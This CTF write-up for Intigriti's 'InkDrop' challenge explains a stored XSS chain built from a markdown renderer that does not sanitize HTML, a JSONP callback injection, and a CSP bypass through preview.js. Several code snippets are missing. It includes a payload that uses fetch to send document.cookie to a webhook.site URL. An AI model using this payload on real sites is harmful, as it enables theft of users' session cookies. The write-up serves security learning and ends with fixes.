InkDrop - Intigriti

Breaking InkDrop: A JSONP Callback Injection Adventure
Introduction
So there I was, staring at this CTF challenge called "InkDrop" - a collaborative writing platform where users can create and share markdown posts. The goal? Find an XSS vulnerability and steal the admin's flag cookie. Sounds simple enough, right? Well, this one turned out to be a pretty neat chain of vulnerabilities that I want to walk you through.
Initial Reconnaissance
First things first, I downloaded the source code and started poking around. The app is a Flask-based blogging platform with some interesting features:
Users can register, login, and create posts
Posts support markdown rendering
There's a "Report to Moderator" button that triggers a bot to visit your post
The bot logs in as admin and has a flag in its cookies
The setup screamed "steal the admin's cookies via XSS," but the question was: where's the vulnerability?
Finding the Weak Spots
Discovery #1: The Markdown Renderer
Looking at app.py, I found this markdown rendering function:
Hmm, interesting. It's a homemade markdown parser using regex. No HTML sanitization whatsoever. This means I could potentially inject raw HTML into posts. Let me try something...
I created a test post with:

Discovery #2: The Content Security Policy
Checking post_view.html, I found this CSP header:
Ah, there's the catch! Inline scripts are blocked. Only scripts from the same origin ('self') are allowed. So even though I can inject HTML, I can't execute inline JavaScript. I needed to find a same-origin script source that I could control
Discovery #3: The Suspicious JSONP Endpoint

Browsing through the API endpoints, I stumbled upon something interesting in app.py:
Wait a minute. This is a JSONP endpoint that takes a callback parameter and wraps JSON data with it. The only validation is checking for < and > characters.
Let's See What Happen When i visit :

Holy crap! This is JSONP callback injection! I can control what JavaScript function gets called. The filter only blocks angle brackets, but I can use any valid JavaScript expression.
Discovery #4: The Script Loader
Now I needed a way to load this malicious JSONP endpoint as a script. Looking at preview.js, I found this gem:
Oh wow. The processContent function looks for any <script> tags with a src attribute containing /api/, and it dynamically creates and executes them!
This is perfect because:
I can inject
<script src="/api/jsonp?callback=...">via the markdown rendererThe preview.js will find it and execute it
The CSP allows it because it's loading from the same origin
I control the callback parameter, which controls what JavaScript executes

Piecing Together the Attack
Now I had all the pieces. Let me trace through the attack flow:
Create a malicious post with a script tag that loads the JSONP endpoint
Report the post to trigger the admin bot
The bot visits the post while logged in as admin (with the flag cookie)
preview.js loads and fetches the rendered content
processContent() finds my script tag and executes it
My JSONP callback runs with the admin's cookies accessible
Exfiltrate the flag!
Crafting the Exploit
The final payload was actually quite elegant:
Let me break down what happens:
The markdown renderer doesn't sanitize this, so it stays as-is in the HTML
preview.js finds this script tag (it has
/api/in the src)The browser loads
/api/jsonp?callback=fetch('https://webhook.site/YOUR-ID/?hacker='.concat(document.cookie))//The JSONP endpoint returns:
The
//at the end comments out the JSON data, preventing syntax errorsfetch()executes, sending the cookies (including the flag!) to my webhook
The Exploit in Action
Here's what I did step by step:
Step 1: Registered an account on the challenge platform
Step 2: Created a new post with this content:

The flag was mine!

Why This Attack Works
Let me summarize the vulnerability chain:
Vulnerability #1: Unsanitized HTML in Markdown Renderer
The
render_markdown()function doesn't strip HTML tagsAllows injection of
<script>tags into post content
Vulnerability #2: Weak JSONP Callback Validation
The
/api/jsonpendpoint only filters<and>Any other JavaScript expression can be used as the callback
Returns JavaScript code with user-controlled function name
Vulnerability #3: Automatic Script Execution
preview.jsautomatically finds and executes scripts with/api/in srcNo validation on what these scripts actually do
Provides the bridge between injected HTML and code execution
Vulnerability #4: Non-HttpOnly Flag Cookie
The bot sets the flag as a regular cookie (not httpOnly)
JavaScript can read it via
document.cookieMakes exfiltration trivial
The CSP Bypass
CSP allows
script-src 'self'JSONP endpoint is same-origin, so it's allowed
Dynamic script creation in preview.js is allowed
Result: Complete CSP bypass
The Fix :)
How should InkDrop fix these issues?
Fix #1: Sanitize HTML Output
And Make the Flag Cookie HttpOnly
Resources From Me :)
What is JSOP : https://www.bigbinary.com/blog/what-is-jsonp
What is Stored XSS : https://portswigger.net/web-security/cross-site-scripting/stored
cookie attributes : https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
Thanks Intigriti for this awesome challenge ❤️
Last updated